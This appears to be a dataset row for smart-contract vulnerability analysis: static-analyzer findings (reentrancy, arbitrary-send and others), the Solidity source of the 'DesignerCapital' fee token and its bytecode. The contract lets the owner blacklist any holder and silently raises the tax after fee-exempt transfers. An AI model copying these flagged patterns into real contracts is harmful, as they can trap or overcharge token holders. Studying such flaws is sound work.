4d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122081405cf28fb6ff670497c7c49784b99b5e4efb7f65005d3b203c3207176580d864736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 945 |
0x5fEfE4DB2265e11949b49604CEfADCDFB532d211 | /**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
//Telegram > https://t.me/DesignerCapital
//Twitter > https://twitter.com/DesignerCapita1
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DesignerCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DesignerCapital";
string private constant _symbol = "DesignerCapital";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906128e9565b610420565b005b34801561014d57600080fd5b5061015661054a565b60405161016391906129ba565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a12565b610587565b6040516101a09190612a6d565b60405180910390f35b3480156101b557600080fd5b506101be6105a5565b6040516101cb9190612a97565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612ab2565b6105b6565b6040516102089190612a6d565b60405180910390f35b34801561021d57600080fd5b5061022661068f565b005b34801561023457600080fd5b5061023d610ba1565b60405161024a9190612b21565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612b68565b610baa565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612b95565b610c5c565b005b3480156102b157600080fd5b506102ba610d4c565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612b95565b610dbe565b6040516102f09190612a97565b60405180910390f35b34801561030557600080fd5b5061030e610e0f565b005b34801561031c57600080fd5b50610325610f62565b6040516103329190612bd1565b60405180910390f35b34801561034757600080fd5b50610350610f8b565b60405161035d91906129ba565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a12565b610fc8565b60405161039a9190612a6d565b60405180910390f35b3480156103af57600080fd5b506103b8610fe6565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612bec565b611060565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612c19565b6111a9565b6040516104179190612a97565b60405180910390f35b610428611230565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612ca5565b60405180910390fd5b60005b8151811015610546576001600a60008484815181106104da576104d9612cc5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053e90612d23565b9150506104b8565b5050565b60606040518060400160405280600f81526020017f44657369676e65724361706974616c0000000000000000000000000000000000815250905090565b600061059b610594611230565b8484611238565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105c3848484611403565b610684846105cf611230565b61067f8560405180606001604052806028815260200161375b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610635611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc29092919063ffffffff16565b611238565b600190509392505050565b610697611230565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90612ca5565b60405180910390fd5b600f60149054906101000a900460ff1615610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b90612db8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611238565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108739190612ded565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe9190612ded565b6040518363ffffffff1660e01b815260040161091b929190612e1a565b6020604051808303816000875af115801561093a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095e9190612ded565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109e730610dbe565b6000806109f2610f62565b426040518863ffffffff1660e01b8152600401610a1496959493929190612e88565b60606040518083038185885af1158015610a32573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a579190612efe565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b5a929190612f51565b6020604051808303816000875af1158015610b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9d9190612f8f565b5050565b60006009905090565b610bb2611230565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3690612ca5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610c64611230565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce890612ca5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8d611230565b73ffffffffffffffffffffffffffffffffffffffff1614610dad57600080fd5b6000479050610dbb81611c26565b50565b6000610e08600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d21565b9050919050565b610e17611230565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b90612ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f44657369676e65724361706974616c0000000000000000000000000000000000815250905090565b6000610fdc610fd5611230565b8484611403565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611027611230565b73ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b600061105230610dbe565b905061105d81611d8f565b50565b611068611230565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90612ca5565b60405180910390fd5b60008111611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f90613008565b60405180910390fd5b611167606461115983683635c9adc5dea0000061200890919063ffffffff16565b61208390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161119e9190612a97565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f9061309a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061312c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113f69190612a97565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a906131be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da90613250565b60405180910390fd5b60008111611526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151d906132e2565b60405180910390fd5b61152e610f62565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561159c575061156c610f62565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57600f60179054906101000a900460ff16156117cf573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116785750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116d25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117ce57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611718611230565b73ffffffffffffffffffffffffffffffffffffffff16148061178e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611776611230565b73ffffffffffffffffffffffffffffffffffffffff16145b6117cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c49061334e565b60405180910390fd5b5b5b6010548111156117de57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118825750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188b57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119a45750600f60179054906101000a900460ff165b15611a455742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119f457600080fd5b601e42611a01919061336e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a5030610dbe565b9050600f60159054906101000a900460ff16158015611abd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad55750600f60169054906101000a900460ff165b15611afd57611ae381611d8f565b60004790506000811115611afb57611afa47611c26565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ba65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bb057600090505b611bbc848484846120cd565b50505050565b6000838311158290611c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0191906129ba565b60405180910390fd5b5060008385611c1991906133c4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c7660028461208390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca1573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf260028461208390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d1d573d6000803e3d6000fd5b5050565b6000600654821115611d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5f9061346a565b60405180910390fd5b6000611d726120fa565b9050611d87818461208390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dc757611dc6612748565b5b604051908082528060200260200182016040528015611df55781602001602082028036833780820191505090505b5090503081600081518110611e0d57611e0c612cc5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ed89190612ded565b81600181518110611eec57611eeb612cc5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f5330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611238565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fb7959493929190613548565b600060405180830381600087803b158015611fd157600080fd5b505af1158015611fe5573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561201b576000905061207d565b6000828461202991906135a2565b9050828482612038919061362b565b14612078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206f906136ce565b60405180910390fd5b809150505b92915050565b60006120c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612125565b905092915050565b806120db576120da612188565b5b6120e68484846121b9565b806120f4576120f3612384565b5b50505050565b6000806000612107612396565b9150915061211e818361208390919063ffffffff16565b9250505090565b6000808311829061216c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216391906129ba565b60405180910390fd5b506000838561217b919061362b565b9050809150509392505050565b600060085414801561219c57506000600954145b156121a6576121b7565b600060088190555060006009819055505b565b6000806000806000806121cb876123f8565b95509550955095509550955061222986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122be85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124aa90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a81612508565b61231484836125c5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123719190612a97565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506123cc683635c9adc5dea0000060065461208390919063ffffffff16565b8210156123eb57600654683635c9adc5dea000009350935050506123f4565b81819350935050505b9091565b60008060008060008060008060006124158a6008546009546125ff565b92509250925060006124256120fa565b905060008060006124388e878787612695565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bc2565b905092915050565b60008082846124b9919061336e565b9050838110156124fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f59061373a565b60405180910390fd5b8091505092915050565b60006125126120fa565b90506000612529828461200890919063ffffffff16565b905061257d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124aa90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125da8260065461246090919063ffffffff16565b6006819055506125f5816007546124aa90919063ffffffff16565b6007819055505050565b60008060008061262b606461261d888a61200890919063ffffffff16565b61208390919063ffffffff16565b905060006126556064612647888b61200890919063ffffffff16565b61208390919063ffffffff16565b